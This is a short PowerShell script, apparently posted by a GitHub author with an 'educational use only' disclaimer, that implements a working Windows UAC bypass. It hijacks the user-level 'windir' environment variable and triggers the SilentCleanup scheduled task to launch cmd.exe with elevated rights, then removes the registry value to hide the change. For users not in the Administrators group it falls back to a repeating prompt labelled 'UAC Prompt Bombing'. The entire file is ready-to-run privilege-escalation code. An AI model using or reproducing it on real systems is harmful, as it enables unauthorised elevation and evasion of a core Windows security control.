# --- Author: zetod1ce (github.com/ztd38f) --- #
# --- DISCLAIMER: Provided as-is, without warranties. For educational and testing use only in controlled environments. Use at your own risk. --- #

function UACBypass($exe,$arg){
    $exe = (gcm $exe -ea 0).Source
    if(!(openfiles)){
        if((whoami /groups) | sls 544){
            sp "HKCU:\Environment" "windir" "$exe`" $arg `"#" -t s -force
            schtasks /run /tn Microsoft\Windows\DiskCleanup\SilentCleanup /I
            rp HKCU:\Environment windir -force; exit
        } else {do {Write-Host "UAC Prompt Bombing"; pause} while ($true); exit}
    }
}; UACBypass cmd.exe